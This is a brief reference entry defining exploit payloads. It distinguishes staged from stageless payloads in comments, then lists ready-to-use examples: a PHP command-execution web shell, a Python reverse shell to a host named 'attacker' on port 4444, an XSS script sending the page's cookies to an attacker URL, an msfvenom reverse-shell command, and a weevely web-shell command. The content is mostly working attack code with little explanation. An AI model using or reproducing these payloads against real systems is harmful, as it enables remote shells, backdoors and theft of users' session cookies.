Exploit Payload is the code or data delivered by an exploit to achieve the attacker's objective, such as spawning a shell, establishing a backdoor, or exfiltrating data.
# Stageless: Complete payload in single delivery
# Larger size, but single request
# Staged: Small loader fetches main payload
# Stage 1: Connect back, download stage 2
# Stage 2: Full functionality (meterpreter, shell)
# PHP web shell
<?php system($_GET['cmd']); ?>
# Python reverse shell
import socket,subprocess,os
s=socket.socket()
s.connect(("attacker",4444))
os.dup2(s.fileno(),0)
subprocess.call(["/bin/sh","-i"])
# JavaScript XSS payload
<script>
fetch('https://attacker/steal?c='+document.cookie)
</script>
# Metasploit msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf
# Web shells
weevely generate password shell.php